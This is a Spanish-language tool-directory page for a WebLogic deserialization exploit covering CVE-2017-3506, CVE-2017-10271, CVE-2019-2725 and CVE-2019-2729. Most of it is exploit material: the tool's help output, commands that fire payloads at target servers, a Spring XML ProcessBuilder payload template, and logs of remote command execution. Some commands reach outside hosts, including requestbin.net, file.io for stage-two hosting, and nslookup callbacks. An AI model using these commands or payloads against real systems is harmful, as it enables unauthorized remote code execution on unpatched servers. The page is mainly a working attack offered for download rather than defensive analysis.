Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2019-2725 — Deserialización insegura de WebLogic - CVE-2019-2725 constructor de payloads y exploit | Kitploit
Herramientas/GitHubGitHub/pimps/cve-2019-2725
Generación de PayloadsAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónComando y ControlGeneración de Shellcode
GitHubpimps/cve-2019-2725

CVE-2019-2725

Deserialización insegura de WebLogic - CVE-2019-2725 constructor de payloads y exploit

Ver Repositorio
5211hace 6 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2019-2725

WebLogic Universal Exploit - CVE-2017-3506 / CVE-2017-10271 / CVE-2019-2725 / CVE-2019-2729 constructor de payloads y exploit

Información / Ayuda

root@kitploit:~
$ python3 weblogic_exploit.py -h

========================================================================
|                      WebLogic Universal Exploit                      |
|    CVE-2017-3506 / CVE-2017-10271 / CVE-2019-2725 / CVE-2019-2729    |
|                               by pimps                               |
========================================================================

usage: weblogic_exploit.py [-h] [-pl PAYLOAD] [-ep ENDPOINT] [-c CMD] [-j]
                           [-u URL] [-y YSOSERIAL] [-tr TERMINAL] [-px PROXY]
                           target

positional arguments:
  target                               Target Server

optional arguments:
  -h, --help                           show this help message and exit
  -pl PAYLOAD, --payload PAYLOAD       Use one of the available payloads: (default: fs_xml_app_ctx)
                                       		- process_builder (CMD - all versions)
                                       		- unit_of_work_change_set (SERIAL - 10.x versions)
                                       		- event_data (CMD - 12.x versions)
                                       		- fs_xml_app_ctx (URL - all versions).
  -ep ENDPOINT, --endpoint ENDPOINT    Use one of the configured endpoints: (default: automatic)
                                       		- wls_wsat (CMD output)
                                       		- _async (Blind Exec).
  -c CMD, --cmd CMD                    Command to execute. (default: whoami)
  -j, --jdk6                           Enable CVE-2019-2729 (bypass for 'class'). DISCLAIMER: Works ONLY in JDK 1.6!
  -u URL, --url URL                    Url to fetch stage2. Used with 'URL' payloads. (default: None)
  -y YSOSERIAL, --ysoserial YSOSERIAL  Custom YSOSERIAL payload file. Used with 'SERIAL' payloads. (default: None)
  -tr TERMINAL, --terminal TERMINAL    Use one of the available terminals: cmd, bash, powershell, none (default: bash)
  -px PROXY, --proxy PROXY             Configure a proxy in the format http://127.0.0.1:8080/ (default: None)

This script will generate a valid WebLogic SOAP payload to exploit different CVE's on this web server.

Ejemplos de uso

Con los payloads SERIAL, puedes pasar un cmd (para generar dinámicamente un payload de ysoserial) o generar manualmente un payload de ysoserial y entregárselo al script mediante el argumento -y.

Para generar dinámicamente un payload de ysoserial, descarga https://github.com/pimps/ysoserial-modified/blob/master/target/ysoserial-modified.jar y colócalo en el mismo directorio de este script.

Es bien sabido que el payload unit_of_work_change_set solo funciona en versiones de WebLogic 10.x. Ejemplos:

root@kitploit:~
pimps$ java -jar ysoserial-modified.jar Jdk7u21 bash 'nslookup your.server.com' > ysoserial_payload.bin
pimps$ python3 weblogic_exploit.py -y ysoserial_payload.bin -pl unit_of_work_change_set -px http://127.0.0.1:8080 https://target.server.com

========================================================================
|                      WebLogic Universal Exploit                      |
|    CVE-2017-3506 / CVE-2017-10271 / CVE-2019-2725 / CVE-2019-2729    |
|                               by pimps                               |
========================================================================

[+] YSOSERIAL payload size: 3182
[+] Weblogic SOAP payload built with success...
[+] Firing exploit now...
[+] Bomb delivered... Server responded:

HTTP/1.1 202
Connection: close
Date: Wed, 28 Aug 2019 01:39:52 GMT
Content-Length: 0

pimps$ python3 weblogic_exploit.py -c 'nslookup your.server.com' -pl unit_of_work_change_set -px http://127.0.0.1:8080 https://target.server.com

========================================================================
|                      WebLogic Universal Exploit                      |
|    CVE-2017-3506 / CVE-2017-10271 / CVE-2019-2725 / CVE-2019-2729    |
|                               by pimps                               |
========================================================================

[+] YSOSERIAL payload size: 3027
[+] Weblogic SOAP payload built with success...
[+] Firing exploit now...
[+] Bomb delivered... Server responded:

HTTP/1.1 202
Connection: close
Date: Wed, 28 Aug 2019 01:46:33 GMT
Content-Length: 0

Con los payloads URL (FileSystemXmlApplicationContext) puedes alojar tu propio XML y pasarlo con el argumento -u, o dejar que el exploit genere un archivo de payload efímero y lo aloje en https://file.io! Este payload se generará durante la fase de explotación y se eliminará una vez que el servidor lo obtenga de forma remota. Si quieres alojar tu propio payload, por favor utiliza la siguiente plantilla:

root@kitploit:~
<?xml version="1.0" encoding="utf-8"?>
<beans xmlns="http://www.springframework.org/schema/beans" 
  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
  xsi:schemaLocation="http://www.springframework.org/schema/beans 
  http://www.springframework.org/schema/beans/spring-beans.xsd">
  <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
    <constructor-arg>
      <list>
        <value>bash</value>
        <value>-c</value>
        <value><![CDATA[echo "this is my bash command, change terminal if needed"]]></value>
      </list>
    </constructor-arg>
  </bean>
</beans>

Este payload es bien conocido por funcionar en todas las versiones de WebLogic. La desventaja de este payload es que necesita egress en el servidor objetivo para obtener un payload stage2. A continuación se describe un ejemplo de cómo usar este payload:

root@kitploit:~
$ python weblogic_exploit.py -tr powershell -c 'Invoke-WebRequest http://requestbin.net/r/h4x31337' -pl fs_xml_app_ctx -px http://127.0.0.1:8080 https://target.server.com

========================================================================
|                      WebLogic Universal Exploit                      |
|    CVE-2017-3506 / CVE-2017-10271 / CVE-2019-2725 / CVE-2019-2729    |
|                               by pimps                               |
========================================================================

[-] No stage2 URL provided... Storing it now...
[+] Stage2 payload stored with success at: https://file.io/IbCIbg
[+] Weblogic SOAP payload built with success...
[+] Firing exploit now...
[+] Bomb delivered... Server responded:

HTTP/1.1 202
Connection: close
Date: Tue, 27 Aug 2019 07:42:24 GMT
Content-Length: 0

Y por último, pero no menos importante, el payload process_builder es el payload de exploit más común (módulo de Metasploit) que funciona en versiones de WebLogic no parcheadas contra la lista negra class=. Este payload fue personalizado para mostrar la salida del comando en el cuerpo de la respuesta de la petición. Ejemplo de uso:

root@kitploit:~
pimps$ python3 weblogic_exploit.py -c "id; uname -a" -pl process_builder http://localhost:7001/

========================================================================
|                      WebLogic Universal Exploit                      |
|    CVE-2017-3506 / CVE-2017-10271 / CVE-2019-2725 / CVE-2019-2729    |
|                               by pimps                               |
========================================================================

[+] Weblogic SOAP payload built with success...
[+] Firing exploit now...
[+] Bomb delivered... Server responded:

HTTP/1.1 200
Connection: close
Date: Thu, 29 Aug 2019 12:30:26 GMT
Transfer-Encoding: chunked

uid=1000(oracle) gid=1000(oracle) groups=1000(oracle)
Linux wlsadmin 4.9.125-linuxkit #1 SMP Fri Sep 7 08:20:28 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

Actualizaciones

29/08/2019

Se añadió soporte para el payload event_data con salida del comando en el cuerpo de la respuesta. Ejemplo de uso:

root@kitploit:~
$ python3 weblogic_exploit.py -c 'id; uname -a' -pl event_data http://localhost:7001

========================================================================
|                      WebLogic Universal Exploit                      |
|    CVE-2017-3506 / CVE-2017-10271 / CVE-2019-2725 / CVE-2019-2729    |
|                               by pimps                               |
========================================================================

[+] Weblogic SOAP payload built with success...
[+] Firing exploit now...
[+] Bomb delivered... Server responded:

HTTP/1.1 200
Connection: close
Date: Thu, 29 Aug 2019 07:37:26 GMT
Transfer-Encoding: chunked

uid=1000(oracle) gid=1000(oracle) groups=1000(oracle)
Linux wlsadmin 4.9.125-linuxkit #1 SMP Fri Sep 7 08:20:28 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

Créditos: Se utilizó parte del payload publicado en este GitHub para mostrar los resultados del comando en el cuerpo de la respuesta (https://github.com/lufeirider/CVE-2019-2725/blob/master/CVE-2019-2725.py). Gracias por compartirlo @lufeirider.

26/09/2019

Se añadió soporte para CVE-2019-2729. Es un bypass que cambia <class> </class> por <array method="forName"> </array>. Este bypass solo funciona en JDK 1.6 debido a una discrepancia en cómo esta versión del JDK analiza los datos XML mediante XMLDecoder.

Se añadió el argumento de comando -j/--jdk6 al script del exploit.

Descargar herramienta